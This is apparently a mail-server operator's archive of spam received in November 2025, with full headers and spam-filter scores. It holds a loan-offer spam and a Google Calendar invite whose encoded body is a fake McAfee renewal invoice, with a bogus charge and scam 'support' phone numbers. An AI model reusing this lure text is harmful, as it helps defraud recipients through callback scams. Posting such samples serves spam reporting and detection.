X-Gm-Gg: ASbGncscPNc3uBoyypUTJnG0W2Yba/KYW955qTKymevDpfN3Srts4E/2TXH77Aj2uSJ
+ryvtOfivnFAe8lIPXK32/bsRh5o/I6Oioz5m95wvfYE7Li2JDw0KAwsjs1G7BhPFJo9izLAs9G
X22tox/U4XJIDJqYiAGurVFuMHOklc5OCgw6sAoklBt4bybA73CdUevCVdmttDhj8CejmguaISm
nnT49ItAdddcJKmVMUegaTXHIqtxIJ+1QMg8izrJTJyeYzvBaq9Lh3/zKko1R9HO506P8Cwics=
X-Google-Smtp-Source: AGHT+IEUje2wzm4KB9hVBPeyU95c23YJkNAh2dyF8kGKTvbAqC14WlHzVdWuxlI4eBMSTw8k1TqPqm9/lwx3dDvJRew=
X-Received: by 2002:a17:906:794d:b0:b76:3a86:bccc with SMTP id
a640c23a62f3a-b763a86bf15mr253888666b.2.1763560151325; Wed, 19 Nov 2025
05:49:11 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:48:59 -0900
X-Gm-Features: AWmQ_bnKR3Nu8ZAYoPQ-MSL91QjMDFLpnZEJLRrPGtRPtaFxOz1sWx1Co7JI-Iw
Message-ID:
Subject: FG
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000005c22980643f2d817"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.5
X-Spam_score_int: 65
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.218.54 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)
[209.85.218.54 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders
Subject: {SPAM?} FG
--0000000000005c22980643f2d817
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000005c22980643f2d817
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
--0000000000005c22980643f2d817--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from mail-ej1-f54.google.com ([209.85.218.54]:58699)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLiZR-00000000JZI-3T1h
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:15 -0700
Received: by mail-ej1-f54.google.com with SMTP id a640c23a62f3a-b739ef3f739so567767666b.1
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763560151; x=1764164951; darn=doctor.nl2k.ab.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=VRgkT7EM0nCy1ssJXe96Ktsg28zjAQpvcmR8qAuNJLk=;
b=XmgbFRea0+ialfjpjbIZTCZWMpMIcSPFV075+kve/ex65YH1PDYqi5HibQ4rkJI3FW
HE48M+lgtc1OHLzphuoYX32pSHQ9oPA+Nb9LwMmnGB9JhOLS+UkDzuKONe9u5zJvL5q+
C4SOLCQ7Ry363FEcBUVZWsh/r9mhZxlLjZgZhrmGuELHiR6JcOKByPE41N5RcDhfUTK+
tSDA7nNhmOQHFuTsKWwdRJbtGvBma7Fs3Ifdp0UfUf9dpP3LfJn1DJ1+XO7xd1WDl9cn
I2WLCh3nYUfXxKPMYSJa0ER85N2bDfmCWkv/utRSSWmvvMpQy8qLRJLPBW9ziw6iF+s2
iy1w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763560151; x=1764164951;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=VRgkT7EM0nCy1ssJXe96Ktsg28zjAQpvcmR8qAuNJLk=;
b=jMEl86PIdkE6uHjwVblqx4NYfXbBuwhHavn5fbOKvNLdjtxHHMB9r7JRBk+5m5rFPr
rPhBw9jSakAbboskc23TnB0ZxXmmZ1OzxIzX0lbMxlTMW6snRWs2x9zR0Rj+9Ht6O9GL
zCx2KSdJ0g4sLVmDnqRN7LxoUg5u9rlV8n/Wo0KOCjgyzae8gbbevFG3TDTQbNSo/a31
FFW0tZaJi10IxN5wvyo2em5TGRA8pr1CGHVsRFkHCqwARCN3iHRLBS850sow9l35bYU9
cv0DmAGH/tVxcChi8hyfKAU1TmqJusZeZOrqkNXvhZiB81RccQ1gw4vUZyApxD0EA7/g
uQqw==
X-Forwarded-Encrypted: i=1; AJvYcCUjxrLNvLpwtLimIdl+71Te/i25EHb7fAu36Pfm3R4grqKwl0IfUlGVZ2+Fay4ZOzJrY7EB@doctor.nl2k.ab.ca
X-Gm-Message-State: AOJu0YyjQUJAL3jeInHaVE/5zehhRgd+WwSSuncLvpBScqafFwx3dhcy
QqQzOUQKOf+5MoUH/6+kqE7wihJspeSoWZZ+oVm10RnC4h3ryguhsxUS9vdE3yHQ3j/MWncTaQI
TeXoAGIWgtDam8bzlqrgRvVbQdjruZUk=
X-Gm-Gg: ASbGncscPNc3uBoyypUTJnG0W2Yba/KYW955qTKymevDpfN3Srts4E/2TXH77Aj2uSJ
+ryvtOfivnFAe8lIPXK32/bsRh5o/I6Oioz5m95wvfYE7Li2JDw0KAwsjs1G7BhPFJo9izLAs9G
X22tox/U4XJIDJqYiAGurVFuMHOklc5OCgw6sAoklBt4bybA73CdUevCVdmttDhj8CejmguaISm
nnT49ItAdddcJKmVMUegaTXHIqtxIJ+1QMg8izrJTJyeYzvBaq9Lh3/zKko1R9HO506P8Cwics=
X-Google-Smtp-Source: AGHT+IEUje2wzm4KB9hVBPeyU95c23YJkNAh2dyF8kGKTvbAqC14WlHzVdWuxlI4eBMSTw8k1TqPqm9/lwx3dDvJRew=
X-Received: by 2002:a17:906:794d:b0:b76:3a86:bccc with SMTP id
a640c23a62f3a-b763a86bf15mr253888666b.2.1763560151325; Wed, 19 Nov 2025
05:49:11 -0800 (PST)
MIME-Version: 1.0
From: Frank Morgan
Date: Wed, 19 Nov 2025 04:48:59 -0900
X-Gm-Features: AWmQ_bnKR3Nu8ZAYoPQ-MSL91QjMDFLpnZEJLRrPGtRPtaFxOz1sWx1Co7JI-Iw
Message-ID:
Subject: FG
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000005c22980643f2d817"
Bcc: dave@doctor.nl2k.ab.ca
X-Spam_score: 6.5
X-Spam_score_int: 65
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hello, Our organization is offering Business/Investment Loan,Agricultural
loan, working capital, debt financing and with potential prospects Here in
the UK. We can help your business or that of a client/ friend devise a plan
for success.
Content analysis details: (6.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
[209.85.218.54 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
[209.85.218.54 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.218.54 listed in dnsbl.ahbl.org]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.218.54 listed in list.dnswl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[fm483554(at)gmail.com]
0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
digit
[fm483554(at)gmail.com]
-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)
[209.85.218.54 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders
Subject: {SPAM?} FG
--0000000000005c22980643f2d817
Content-Type: text/plain; charset="UTF-8"
Hello,
Our organization is offering Business/Investment Loan,Agricultural loan,
working capital, debt financing and with potential prospects Here in the UK.
We can help your business or that of a client/ friend devise a plan for
success.
Terms and conditions apply.
Best regards
Frank
--0000000000005c22980643f2d817
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Hello,
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
Our organization is offering Business/Investment=
Loan,Agricultural loan, working capital, debt financing and with potential=
prospects Here in the UK.
We can help your business or that of a cl=
ient/ friend devise a plan for success.
Terms and conditions apply.<=
br>
Best regards
Frank
--0000000000005c22980643f2d817--
McAfee Phish from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLiaD-00000000Jku-32D2
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:53 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:53 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-ua1-f74.google.com ([209.85.222.74]:44340)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLiBG-00000000Gy8-1vWX
for doctor@nl2k.ab.ca;
Wed, 19 Nov 2025 06:25:16 -0700
Received: by mail-ua1-f74.google.com with SMTP id a1e0cc1a2514c-93526c6b4f6so4407294241.1
for; Wed, 19 Nov 2025 05:24:19 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=google.com; s=20230601; t=1763558653; x=1764163453; darn=nl2k.ab.ca;
h=to:from:subject:date:message-id:sender:reply-to:mime-version:from
:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=l37F3ACqDfKzIiVzWb8ElKLh6Y2G8nBM6OlWbw3X+bZPhfcTBieDGtkvxV1ZzOQzMt
DLZBCFLKFpTkqkWfFCMBZpfi+b8pn0XbuhVT9j+KHin4zDSxkm/YzuGCtnNJxw2r6gPt
/B5BVsd9aEG53HboDtUG6b5zT1JoVcJ4SI/nhe5qTe/wPnT17BAJ8wSB4VGgaMgVYj6f
StytbfvMTrZlH7GtBZPJUXtadNBQToip0Y7UAFcGBtJ/yswEURCJh2W5nrs/Q8IKJZgd
AJBpCls73eF4MkT3aZy5pi+9kb7aIhGQAd+faQLqWrmq7HXEp9/ayknVgv7ojCGDZ8eN
AYEg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=sskhamiton-cfd.20230601.gappssmtp.com; s=20230601; t=1763558653; x=1764163453; darn=nl2k.ab.ca;
h=to:from:subject:date:message-id:sender:reply-to:mime-version:from
:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=OUQmiXgYIcNmMtxGmKSYJ7ahWt8BoNhhUrJAHcygJWCLHT5bdAFj6JuyeJ+owm7G4H
F0e8rmd7DqW5HqkGgpHQmbX5//EoNmCX/dCMUuiHG0eTvgBD8+Ix4DrQ68wwY0yGNlnr
EXsV3SWNe5t3rb6kYi97J4wnkAqGgxXsxs6vZftdTLkhiDgJPTlpMG96D/7iAHDMVmK0
h0T66D2bUA+q9VL9eb6DLnIgtQxuyZ2fVq0OhW8oA/STAwMnlEw9cHDeZn+sXjXYmCX0
qTtnQEwTIsuh/vm2V0Wormubmo12QVEzo41AFyfbrbAhc3lpCK4RFLiTRkS3KiSEsV9B
i9ow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763558653; x=1764163453;
h=to:from:subject:date:message-id:sender:reply-to:mime-version
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=NZFbeQDDPhZ6Aqn/RVhvfrOEd5afkt4Lceae3bSvKFc3YUqP37aEsal1o0hz0PuNd9
5PDjbmqmIdw/HV+AQxnJpn6CXTzapfXIfJepxw1hLkTj3Tr/iwiss/B665r93wDxYnGL
RtrgahWjFjbgYPqXr5et7FliT/wX8WpX3haTI3pX/hNQ0vR6QpHriJKvRAb2s+J+rlEx
2rPFqBAl/1Qheq+SMXOAwbA3JTqIKcqcPWotMvxKxfh93n7z0wgbqvb30/eHDrnBCC5o
NuKsOHwSxccCtFvLZU+RkC/h4PlPal+oWpItW6nh9xk0fK08tNjo8j30T8LMxAm/lkJY
eBwg==
X-Gm-Message-State: AOJu0Yz3MzQuotO80BBOK4NcbGRzRueNbdGjEP5cNosiLjdJiaF9MoNx
5er9xfaQjkhYOQpdjEp3nWz57o8RhupZBPj9rsl9kEc4Hu6NWJ6rwFuYxGxCi6FnW0036DWMAf0
ZHgfjoEkxKz/ZHVzJVJZlKUZTY1+HVl1yvLrDHPOUPl3SEIIzzwUtiRI6
X-Google-Smtp-Source: AGHT+IGXvor0O8i191wEb/rvyunoJZ6XOC5QH8j86bDDVc5btzxKuw658ixpyErxedyzwOLOHAVryyZQcfsjnUwf5Xi/
MIME-Version: 1.0
X-Received: by 2002:a05:6122:828d:b0:559:f0a2:4ab5 with SMTP id
71dfb90a1353d-55b6f2c9d0dmr798623e0c.11.1763558653542; Wed, 19 Nov 2025
05:24:13 -0800 (PST)
Reply-To: Patrick Spears
Sender: Google Calendar
Message-ID:
Date: Wed, 19 Nov 2025 13:24:13 +0000
Subject: Invitation: Hi, Transaction is confirmed and ready @ Thu Nov 20, 2025
9:23am (HKT) (doctor@nl2k.ab.ca)
From: Patrick Spears
To: doctor@nl2k.ab.ca
Content-Type: multipart/mixed; boundary="00000000000015c89f0643f27f0d"
X-Spam_score: 10.0
X-Spam_score_int: 100
X-Spam_bar: ++++++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: Hi, Transaction is confirmed and ready Thursday Nov 20, 2025
â‹… 9:23am Hong Kong Standard Time Transaction date:- Wednesday, 19 November
2025Transaction id:- JHNL61454GL8483Technical Support Number: 1(859) 230-5036Access
confirmed membership secured.Hi,We’d like to notify you of your Prem
[...]
Content analysis details: (10.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
[209.85.222.74 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
[209.85.222.74 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.222.74 listed in dnsbl.ahbl.org]
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.222.74 listed in list.dnswl.org]
0.3 LONGWORD BODY: Uses overlong words
0.6 MEGALONGWORD BODY: Uses really overlong words
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.222.74 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars
2.3 LONG_INVISIBLE_TEXT Long block of hidden text - bayes poison?
Subject: {SPAM?} Invitation: Hi, Transaction is confirmed and ready @ Thu Nov 20, 2025
9:23am (HKT) (doctor@nl2k.ab.ca)
--00000000000015c89f0643f27f0d
Content-Type: multipart/alternative; boundary="00000000000015c89d0643f27f0b"
--00000000000015c89d0643f27f0b
Content-Type: text/plain; charset="UTF-8"; format=flowed; delsp=yes
Content-Transfer-Encoding: base64
SGksIFRyYW5zYWN0aW9uIGlzIGNvbmZpcm1lZCBhbmQgcmVhZHkNClRodXJzZGF5IE5vdiAyMCwg
MjAyNSDii4UgOToyM2FtDQpIb25nIEtvbmcgU3RhbmRhcmQgVGltZQ0KDQoNCg0KVHJhbnNhY3Rp
b24gZGF0ZTotIFdlZG5lc2RheSwgMTkgTm92ZW1iZXIgMjAyNVRyYW5zYWN0aW9uIGlkOi0gIA0K
SkhOTDYxNDU0R0w4NDgzVGVjaG5pY2FsIFN1cHBvcnQgTnVtYmVyOiAxKDg1OSkgIDIzMC01MDM2
QWNjZXNzIGNvbmZpcm1lZCAgDQptZW1iZXJzaGlwIHNlY3VyZWQuSGksV2UmcnNxdW87ZCBsaWtl
IHRvIG5vdGlmeSB5b3Ugb2YgeW91ciBQcmVtaXVtICANCk1lbWJlcnNoaXAgcmVuZXdhbC4gQSBj
aGFyZ2Ugb2YgJDM3NS44OCB3aWxsIGJlIGRlYml0ZWQgZnJvbSB5b3VyIGFjY291bnQgIA0Kc29v
bi5QdXJjaGFzZSBTdW1tYXJ5SXRlbTogSGFja2luZyBwcm90ZWN0aW9uVGVudXJlOiAxIFllYXJB
bW91bnQ6ICQgIA0KMzc1Ljg4UmVnaXN0ZXJlZCBJRDogUjMySjFCRDVNZW1iZXJzaGlwIElEOiAg
DQpmZDNjNGE1Zi0yODFlLTQxNjctYjFlYS0yNmExNzFmYmFkN2RGb3IgYXNzaXN0YW5jZSwgY2Fs
bCArMS0oODU5KSAgIA0KMjIyLTY0ODMuIFRoaXMgaXMgYW4gYXV0b21hdGVkIGVtYWlsIGFuZCBj
YW5ub3QgYWNjZXB0IHJlcGxpZXMuVHJ1bHkgIA0KQXBwcmVjaWF0aXZlLCxNY0FmZWVBY2NvdW50
cyBNYW5hZ2VyOiBXaWxsaWFtIE11cnBoeUNvbnRhY3QgSG91cnM6IDYgQU0gdG8gIA0KNiBQTUNh
bGwgZm9yIEN1c3RvbWVyIFN1cHBvcnQgKzEtKDg1OSkgIDIyMi02NDgzQWRkcmVzczogOThUaCBQ
bGFjZSBCZXRoZWwgIA0KQ3QgNjgwMSBVbml0ZWQgU3RhdGVzQ29weXJpZ2h0ICZjb3B5OzIwMjUg
TWNBZmVlLCBBbGwgcmlnaHRzIHJlc2VydmVkLg0KDQpPcmdhbml6ZXINClBhdHJpY2sgU3BlYXJz
DQpwYXRyaWNrLnNwZTk3MEBzc2toYW1pdG9uLmNmZA0KDQpSZXBseSBmb3IgZG9jdG9yQG5sMmsu
YWIuY2EgYW5kIHZpZXcgbW9yZSBkZXRhaWxzICANCmh0dHBzOi8vY2FsZW5kYXIuZ29vZ2xlLmNv
bS9jYWxlbmRhci9ldmVudD9hY3Rpb249VklFVyZlaWQ9TURaTE5GZHZTRE0yYVZFeU9GTklRVk5Y
WW1sME1ucHViWGdnWkc5amRHOXlRRzVzTW1zdVlXSXVZMkUmdG9rPU1qa2pjR0YwY21samF5NXpj
R1U1TnpCQWMzTnJhR0Z0YVhSdmJpNWpabVF4Wm1FeU56azJNelE1WWpObVpXUm1ZMkU1WXpFMk1U
a3hNV05pTVRVeU5qbGtOVEV5T0ROayZjdHo9QXNpYSUyRkhvbmdfS29uZyZobD1lbiZlcz0wDQpZ
b3VyIGF0dGVuZGFuY2UgaXMgb3B0aW9uYWwuDQoNCn5+Ly9+fg0KSW52aXRhdGlvbiBmcm9tIEdv
b2dsZSBDYWxlbmRhcjogaHR0cHM6Ly9jYWxlbmRhci5nb29nbGUuY29tL2NhbGVuZGFyLw0KDQpZ
b3UgYXJlIHJlY2VpdmluZyB0aGlzIGVtYWlsIGJlY2F1c2UgeW91IGFyZSBhbiBhdHRlbmRlZSBv
biB0aGUgZXZlbnQuDQoNCkZvcndhcmRpbmcgdGhpcyBpbnZpdGF0aW9uIGNvdWxkIGFsbG93IGFu
eSByZWNpcGllbnQgdG8gc2VuZCBhIHJlc3BvbnNlIHRvICANCnRoZSBvcmdhbml6ZXIsIGJlIGFk
ZGVkIHRvIHRoZSBndWVzdCBsaXN0LCBpbnZpdGUgb3RoZXJzIHJlZ2FyZGxlc3Mgb2YgIA0KdGhl
aXIgb3duIGludml0YXRpb24gc3RhdHVzLCBvciBtb2RpZnkgeW91ciBSU1ZQLg0KDQpMZWFybiBt
b3JlIGh0dHBzOi8vc3VwcG9ydC5nb29nbGUuY29tL2NhbGVuZGFyL2Fuc3dlci8zNzEzNSNmb3J3
YXJkaW5nDQo=
--00000000000015c89d0643f27f0b
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
schemas-microsoft-com:vml" xmlns:o=3D"urn:schemas-microsoft-com:office:offi=
ce">
t=3D"text/html; charset=3DUTF-8">
=3Ddevice-width,initial-scale=3D1">
ight dark">
=20
=20
=20
=20
/InformAction">
emtype=3D"http://schema.org/Person">
=3D"Invitation from Patrick Spears"/>
cope itemtype=3D"http://schema.org/Event">
ntent=3D"http://schema.org/EventScheduled"/>
emscope itemtype=3D"http://schema.org/Organization">
content=3D"Google Calendar"/>
ar" content=3D"06K4WoH36iQ28SHASWbit2znmx"/>
ont-size: 1px; color: #fff; line-height: 1px; height: 0; max-height: 0; wid=
th: 0; max-width: 0; opacity: 0; overflow: hidden;" itemprop=3D"name">Hi, T=
ransaction is confirmed and ready
ttps://calendar.google.com/calendar/event?action=3DVIEW&eid=3DMDZLNFdvS=
DM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&tok=3DMjkjcGF0cmljay=
5zcGU5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkN=
TEyODNk&ctz=3DAsia%2FHong_Kong&hl=3Den&es=3D0"/>
en=3D"true">
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Wed, 19 Nov 2025 06:51:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLiaD-00000000Jku-32D2
for dave@doctor.nl2k.ab.ca;
Wed, 19 Nov 2025 06:50:53 -0700
Resent-From: The Doctor
Resent-Date: Wed, 19 Nov 2025 06:50:53 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-ua1-f74.google.com ([209.85.222.74]:44340)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLiBG-00000000Gy8-1vWX
for doctor@nl2k.ab.ca;
Wed, 19 Nov 2025 06:25:16 -0700
Received: by mail-ua1-f74.google.com with SMTP id a1e0cc1a2514c-93526c6b4f6so4407294241.1
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=google.com; s=20230601; t=1763558653; x=1764163453; darn=nl2k.ab.ca;
h=to:from:subject:date:message-id:sender:reply-to:mime-version:from
:to:cc:subject:date:message-id:reply-to;
bh=P+Bzf6vqWZ6K954yQlx8zSprZRnlHSn7ucWinQqNkhI=;
b=l37F3ACqDfKzIiVzWb8ElKLh6Y2G8nBM6OlWbw3X+bZPhfcTBieDGtkvxV1ZzOQzMt
DLZBCFLKFpTkqkWfFCMBZpfi+b8pn0XbuhVT9j+KHin4zDSxkm/YzuGCtnNJxw2r6gPt
/B5BVsd9aEG53HboDtUG6b5zT1JoVcJ4SI/nhe5qTe/wPnT17BAJ8wSB4VGgaMgVYj6f
StytbfvMTrZlH7GtBZPJUXtadNBQToip0Y7UAFcGBtJ/yswEURCJh2W5nrs/Q8IKJZgd
AJBpCls73eF4MkT3aZy5pi+9kb7aIhGQAd+faQLqWrmq7HXEp9/ayknVgv7ojCGDZ8eN
AYEg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=sskhamiton-cfd.20230601.gappssmtp.com; s=20230601; t=1763558653; x=1764163453; darn=nl2k.ab.ca;
h=to:from:subject:date:message-id:sender:reply-to:mime-version:from
